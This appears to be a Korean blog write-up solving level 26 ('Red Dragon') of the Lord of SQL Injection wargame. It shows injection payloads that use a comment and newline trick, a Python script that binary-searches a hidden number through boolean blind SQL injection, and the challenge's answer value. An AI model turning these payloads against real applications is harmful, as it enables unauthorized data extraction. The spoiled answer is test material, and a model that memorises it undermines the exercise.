WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 26 - Red Dragon

이번엔 시뻘건 용이다. 역시 이미지를 구하기 힘들어서 시뻘건 알파카를 준비했다.

* 이번 문제에 해결되는 코드는 Python으로 작성되어있습니다. *

* 사전지식으로 이진 탐색을 알아야합니다. *

 


코드

 

코드는 id와 no를 받아들인다. 다음과 같은 제약사항이 있다.

1. no는 숫자여야한다. 아니면 삼항 연산자에 의해 1로 바뀐다.
2. id는 7자리 이하여야한다.
3. 정확한 no를 알아야 한다.

 

BF(Brute Force)를 때려야 하나? 너무 무식하다. 우아하지 않은 방법이라 생각하고, 배 운범 위 안에서 해결할 수 있으니 조금만 머리를 써보자


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?no=586482014

 

from requests import get

url = "### Red Dragon URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")

class positive_binary_search :
    mid = 0
    start = 0
    end = 0
    
    def __init__(self,start,end) :
        self.start = start
        self.end = end
        self.mid = (self.start+self.end)//2

    def search_success(self) :
        self.start = self.mid
        self.mid = (self.start+self.end)//2
        
    def search_fail(self) :
        self.end = self.mid
        self.mid = (self.start+self.end)//2
    
    def next(self) :
        return self.mid


print("### find for pw length ###")
bi = positive_binary_search(0,1000000000)
no = bi.next()
while(True) :
    rem_no = no
    print("keep going with",no)
    param = "?id=%27||no>%23&no=%0a"+str(no)
    new_url = url+param
    rec = get(new_url,cookies=cookie)
    
    if(rec.text.find("Hello admin")<0) :
        bi.search_fail()
        no = bi.next()
    else :
        bi.search_success()
        no = bi.next()

    if(rem_no == no) :
        break

print("finish :",rem_no+1)


우선 다음과 같은 6글자의 파라미터를 시도해 보았다. id=' or 1#

잘못된 시도 :? id=%27% 20or%201%23 

의도한 목적대로 정상 동작인지 확인을 위함이다.

NOT BAD 그러나 우리가 원하는 건 정확한 no는 무엇인가 이다.

no의 크기는 가늠할 수 없으나. 정수라는 점과 대충 한 10^9보다는 작을 거라고 가정하고 이진 탐색을 시도해보자(29번이면 탐색 가능할 것이다.)

 

제대로 된 시도는 우리의 id를 조금 더 압축하고, 마지막의 #이 한 줄 주석 임을 이용해서 no에 줄 바꿈을 취해주면서 비교 연산자(>)를 추가해단다.

시도 : ?id=%27||no>%23&no=%0a1

그러니까 다음과 같은 그림이 될 것이다.

결과는 역시 GOOD이다.

따라서 이제 이진 탐색 알고리즘을 만들고 코딩하면 된다.

결과는 GOOD이다.


이번 시간은 이진 탐색을 이용한 탐색을 알아보면서 Red Dragon을 물리치는 시간이었다. 다음 시간에는 마지막 Dragon을 만나보도록 하자